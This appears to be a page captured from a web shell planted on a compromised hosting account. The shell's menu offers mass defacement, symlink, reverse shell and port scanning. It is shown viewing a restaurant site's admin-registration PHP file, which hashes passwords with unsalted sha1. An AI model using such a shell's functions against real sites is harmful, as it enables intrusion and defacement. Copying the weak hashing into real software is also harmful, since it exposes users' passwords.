Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: register_admin.php
<?php include '../components/connect.php'; session_start(); $embedded = isset($_GET['embed']) && $_GET['embed'] === '1'; if (!isset($message) || !is_array($message)) { $message = []; } $admin_id = $_SESSION['admin_id']; if(!isset($admin_id)){ header('location:admin_login.php'); }; if(isset($_POST['submit'])){ $name = $_POST['name']; $name = filter_var($name, FILTER_SANITIZE_STRING); $pass = sha1($_POST['pass']); $pass = filter_var($pass, FILTER_SANITIZE_STRING); $cpass = sha1($_POST['cpass']); $cpass = filter_var($cpass, FILTER_SANITIZE_STRING); $select_admin = $conn->prepare("SELECT * FROM `admin` WHERE name = ?"); $select_admin->execute([$name]); if($select_admin->rowCount() > 0){ $message[] = 'El nombre de usuario ya existe!'; }else{ if($pass != $cpass){ $message[] = 'Confirmar contraseña no coincide!'; }else{ $insert_admin = $conn->prepare("INSERT INTO `admin`(name, password) VALUES(?,?)"); $insert_admin->execute([$name, $cpass]); $message[] = 'Nuevo usuario registrado!'; } } } $embedPayload = null; $embedStatus = 'info'; $embedShouldClose = false; if ($embedded && $_SERVER['REQUEST_METHOD'] === 'POST' && !empty($message)) { $joined = strtolower(implode(' | ', array_map(static fn($v) => (string)$v, $message))); if (strpos($joined, 'registrad') !== false || strpos($joined, 'éxito') !== false || strpos($joined, 'exito') !== false) { $embedStatus = 'success'; $embedShouldClose = true; } elseif (strpos($joined, 'no coincide') !== false || strpos($joined, 'existe') !== false) { $embedStatus = 'error'; } $embedPayload = [ 'type' => 'users:modalResult', 'modal' => 'register', 'status' => $embedStatus, 'messages' => array_values(array_map(static fn($v) => (string)$v, $message)), 'close' => $embedShouldClose, ]; } $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Registrar | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <!-- font awesome cdn link --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"> <!-- custom css file link --> <link rel="stylesheet" href="../css/admin_style.css"> <style> body.register-admin-page { min-height: 100vh; background: linear-gradient(135deg, #f5f9ff 0%, #fff7f3 100%); } body.register-admin-page.embed { min-height: 0; background: transparent; padding: 0; margin: 0; } html, body.register-admin-page.embed { margin: 0; background: transparent; } .register-admin-page.embed .form-container { padding: 0; max-width: none; display: block; min-height: 0; align-items: stretch; justify-content: flex-start; } .register-admin-page.embed .form-card { border-radius: 0; box-shadow: none; border: none; padding: 1.3rem 1.35rem 1.5rem; background: #fff; width: 100%; max-width: none; margin: 0; } .register-admin-page .page-heading { padding: 24px 24px 0; } .register-admin-page .heading-row { display: flex; align-items: flex-start; justify-content: space-between; gap: 16px; flex-wrap: wrap; } .register-admin-page .section-title { font-size: 2.25rem; font-weight: 900; color: #141421; margin: 0; } .register-admin-page .section-subtitle { margin: 6px 0 0; color: rgba(20, 20, 33, 0.68); font-weight: 600; } .register-admin-page .heading-back { display: inline-flex; align-items: center; gap: 8px; padding: 10px 14px; border-radius: 999px; text-decoration: none; font-weight: 700; color: rgba(20, 20, 33, 0.82); background: rgba(255, 255, 255, 0.75); border: 1px solid rgba(20, 20, 33, 0.12); box-shadow: 0 12px 28px rgba(17, 24, 39, 0.08); backdrop-filter: blur(10px); transition: transform .2s ease, box-shadow .2s ease; } .register-admin-page .heading-back:hover { transform: translateY(-2px); box-shadow: 0 14px 34px rgba(17, 24, 39, 0.12); } .register-admin-page .form-container { padding: 12px 24px 48px; max-width: 820px; margin: 0 auto; } .register-admin-page .form-card { position: relative; overflow: hidden; background: rgba(255, 255, 255, 0.82); border-radius: 20px; padding: 2.2rem 2.4rem; box-shadow: 0 22px 50px rgba(17, 24, 39, 0.14); border: 1px solid rgba(226, 232, 240, 0.95); backdrop-filter: blur(12px); } .register-admin-page .form-card::before { content: ''; position: absolute; inset: -70% -55% auto auto; height: 260px; width: 260px; background: radial-gradient(150px at top right, rgba(14, 165, 233, 0.16), transparent 70%); transform: rotate(10deg); pointer-events: none; } .register-admin-page .form-card h3 { margin: 0 0 1.6rem; font-size: 1.65rem; font-weight: 800; color: #1f2937; } .register-admin-page .field { margin-bottom: 1.1rem; } .register-admin-page .field label { display: block; font-weight: 700; margin-bottom: 0.55rem; color: rgba(15, 23, 42, 0.88); } .register-admin-page .field-icon { display: flex; align-items: center; gap: 10px; padding: 12px 14px; border-radius: 16px; background: rgba(255, 255, 255, 0.9); border: 1px solid rgba(20, 20, 33, 0.12); box-shadow: 0 14px 30px rgba(15, 21, 45, 0.08); backdrop-filter: blur(10px); } .register-admin-page .field-icon i { color: rgba(48, 49, 73, 0.7); } .register-admin-page .field-icon input { border: none; outline: none; background: transparent; width: auto; flex: 1; min-width: 0; font-size: 1rem; font-weight: 600; color: #303149; } .register-admin-page .pw-toggle { border: none; background: transparent; cursor: pointer; padding: 6px 6px; border-radius: 10px; color: rgba(48, 49, 73, 0.72); display: inline-flex; align-items: center; justify-content: center; transition: background .2s ease, color .2s ease; } .register-admin-page .pw-toggle:hover { background: rgba(15, 23, 42, 0.06); color: rgba(15, 23, 42, 0.85); } .register-admin-page .actions { display: flex; justify-content: flex-end; margin-top: 1.8rem; } .register-admin-page .btn-modern { display: inline-flex; align-items: center; justify-content: center; gap: 10px; padding: 12px 18px; border-radius: 14px; border: none; cursor: pointer; background: linear-gradient(135deg, #0ea5e9, #2563eb); color: #fff; font-weight: 800; box-shadow: 0 14px 28px rgba(37, 99, 235, 0.22); transition: transform .2s ease, box-shadow .2s ease; } .register-admin-page .btn-modern:hover { transform: translateY(-2px); box-shadow: 0 16px 34px rgba(37, 99, 235, 0.28); } @media (max-width: 720px) { .register-admin-page .page-heading { padding: 18px 18px 0; } .register-admin-page .form-container { padding: 14px 18px 44px; } .register-admin-page .form-card { padding: 1.75rem 1.5rem; } } @media (max-width: 520px) { .register-admin-page .form-card { padding: 1.5rem 1.2rem; } .register-admin-page .actions { justify-content: stretch; } .register-admin-page .btn-modern { width: 100%; } } </style> </head> <body class="register-admin-page<?= $embedded ? ' embed' : ''; ?>"> <?php if(!$embedded){ include '../components/admin_header.php'; } ?> <!-- register admin section starts --> <?php if(!$embedded): ?> <section class="page-heading"> <div class="heading-row"> <div> <h1 class="section-title">Usuarios</h1> <p class="section-subtitle">Registra un nuevo usuario para el panel</p> </div> <a href="admin_accounts.php" class="heading-back"><i class="fa-solid fa-arrow-left"></i> Volver</a> </div> </section> <?php endif; ?> <section class="form-container"> <form action="" method="POST" class="form-card"> <h3>Registrar usuario</h3> <div class="field"> <label for="reg_name">Nombre de usuario</label> <div class="field-icon"> <i class="fa-solid fa-user"></i> <input id="reg_name" type="text" name="name" maxlength="20" required placeholder="Ingrese nombre de usuario" oninput="this.value = this.value.replace(/\s/g, '')"> </div> </div> <div class="field"> <label for="reg_pass">Contraseña</label> <div class="field-icon"> <i class="fa-solid fa-key"></i> <input id="reg_pass" type="password" name="pass" maxlength="20" required placeholder="Ingrese su Contraseña" oninput="this.value = this.value.replace(/\s/g, '')"> <button type="button" class="pw-toggle" aria-label="Mostrar contraseña"><i class="fa-solid fa-eye"></i></button> </div> </div> <div class="field"> <label for="reg_cpass">Confirmar contraseña</label> <div class="field-icon"> <i class="fa-solid fa-shield"></i> <input id="reg_cpass" type="password" name="cpass" maxlength="20" required placeholder="Confirme su Contraseña" oninput="this.value = this.value.replace(/\s/g, '')"> <button type="button" class="pw-toggle" aria-label="Mostrar contraseña"><i class="fa-solid fa-eye"></i></button> </div> </div> <div class="actions"> <button type="submit" name="submit" class="btn-modern"><i class="fa-solid fa-circle-plus"></i> Registrar</button> </div> </form> </section> <script> (function(){ if(document.documentElement.dataset.pwToggleInit === '1') return; document.documentElement.dataset.pwToggleInit = '1'; document.addEventListener('click', (e) => { const btn = e.target.closest?.('.pw-toggle'); if(!btn) return; const wrap = btn.closest('.field-icon'); const input = wrap?.querySelector('input'); if(!input) return; if(input.type !== 'password' && input.type !== 'text') return; const isPassword = input.type === 'password'; input.type = isPassword ? 'text' : 'password'; const icon = btn.querySelector('i'); if(icon){ icon.classList.toggle('fa-eye', !isPassword); icon.classList.toggle('fa-eye-slash', isPassword); } btn.setAttribute('aria-label', isPassword ? 'Ocultar contraseña' : 'Mostrar contraseña'); }); const embedded = <?= $embedded ? 'true' : 'false'; ?>; if(!embedded) return; function sendSize(){ try { const card = document.querySelector('.form-card'); if(!card) return; const rect = card.getBoundingClientRect(); const extra = 34; const height = Math.ceil(rect.height + extra); window.parent && window.parent.postMessage({ type: 'users:embedSize', height }, window.location.origin); } catch (e) {} } window.addEventListener('load', () => { sendSize(); setTimeout(sendSize, 60); setTimeout(sendSize, 220); }); window.addEventListener('resize', sendSize); })(); </script> <!-- register admin section ends --> <!-- custom js file link --> <?php if(!$embedded): ?> <script src="../js/admin_script.js"></script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> document.addEventListener('DOMContentLoaded', () => { const nodes = Array.from(document.querySelectorAll('.message')); if(!nodes.length) return; const texts = nodes .map(n => (n.querySelector('span')?.textContent || '').trim()) .filter(Boolean); nodes.forEach(n => n.remove()); if(!texts.length || !window.Swal) return; const Toast = Swal.mixin({ toast: true, position: 'top-end', showConfirmButton: false, timer: 3200, timerProgressBar: true, }); texts.forEach((t) => { const lower = t.toLowerCase(); const icon = lower.includes('registrad') || lower.includes('éxito') || lower.includes('exito') ? 'success' : (lower.includes('no coincide') || lower.includes('existe') ? 'error' : 'info'); Toast.fire({ icon, title: t }); }); }); </script> <?php elseif($embedPayload !== null): ?> <script> (function(){ const payload = <?= json_encode($embedPayload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); ?>; try { window.parent && window.parent.postMessage(payload, window.location.origin); } catch (e) {} })(); </script> <?php endif; ?> </body> </html>
Coded With 💗 by
0x6ick